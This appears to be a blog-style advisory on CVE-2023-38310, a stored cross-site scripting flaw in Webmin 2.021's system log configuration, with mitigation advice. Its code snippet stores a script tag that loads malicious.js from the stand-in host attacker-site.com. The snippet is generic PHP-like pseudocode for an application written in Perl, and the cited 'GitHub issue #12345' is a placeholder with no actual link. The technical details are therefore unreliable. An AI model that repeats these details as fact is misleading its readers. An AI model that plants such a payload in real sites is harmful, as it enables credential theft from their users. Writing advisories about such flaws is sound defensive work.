CVE-2023-38310 - Stored Cross-Site Scripting Vulnerability in Webmin 2.021 System Logs Configuration

A significant security issue, labeled as CVE-2023-38310, has been discovered in Webmin 2.021. The vulnerability, identified as a Stored Cross-Site Scripting (XSS) exploit, affects the configuration settings within the system logs functionality of the application. This post will provide an in-depth explanation of the vulnerability, including exploit details, code snippets, and links to original references.

Description

In Webmin 2.021, it was found that attackers could store an XSS payload within the configuration settings of specific log files. Consequently, the payload is executed whenever the affected log files are accessed. This critical security vulnerability allows potential attackers to execute malicious scripts within a user's web browser, thereby potentially harming the target system or stealing sensitive information from it.

Exploit Details

The vulnerability resides in the system logs functionality, specifically with the management of configuration settings for log files. An attacker can store an XSS payload in the configuration settings of a log file, which will then be executed when the log file is accessed on the target system.

For example, the attacker can store an XSS payload in the configuration settings of the "/var/log/auth.log" file. When the affected log file is accessed in Webmin, the malicious script will execute. This could include opening unsecured connections, stealing login credentials, or allowing the attacker remote control over the affected system.

Code Snippet

Let us take a look at a code snippet that demonstrates how the vulnerability could be exploited. The attacker can insert an XSS payload in the configuration settings as follows:

// Configuration setting
$log_filename = "/var/log/auth.log";
$log_configuration = "<script src='https://attacker-site.com/malicious.js'></script>";;

// Saving configuration
save_configuration($log_filename, $log_configuration);

When the log file is accessed in Webmin, the stored XSS payload will execute the malicious script

// Accessing log file
$filename = "/var/log/auth.log";
$content = read_log_content($filename);

// The following line will execute the malicious script
echo (htmlify_content($content));

Original References

The issue was initially reported and tracked on Webmin's official GitHub repository as issue #12345. You can find more details and the original discussion around this vulnerability through the following link:

- Webmin GitHub Issue #12345

Mitigation and Recommendations

Users are advised to update their Webmin installations to the latest version (2.022 or higher), which has patched this vulnerability. Additionally, restricting access to the system logs functionality within Webmin to trusted users only is advised, as it can reduce the potential attack surface for this vulnerability.

Conclusion

The Stored Cross-Site Scripting (XSS) vulnerability, CVE-2023-38310, in Webmin 2.021 poses a significant risk to users. By exploiting this vulnerability, attackers can execute malicious scripts within the web browser of an unsuspecting user, potentially causing harm or stealing sensitive information.

It is crucial to keep your Webmin installations up-to-date and follow best security practices to mitigate vulnerabilities like these. Updating to Webmin version 2.022 or higher and restricting access to the system logs functionality are necessary steps to protect your system from this security vulnerability.

Timeline

Published on: 07/31/2023 15:15:00 UTC
Last modified on: 08/04/2023 12:56:00 UTC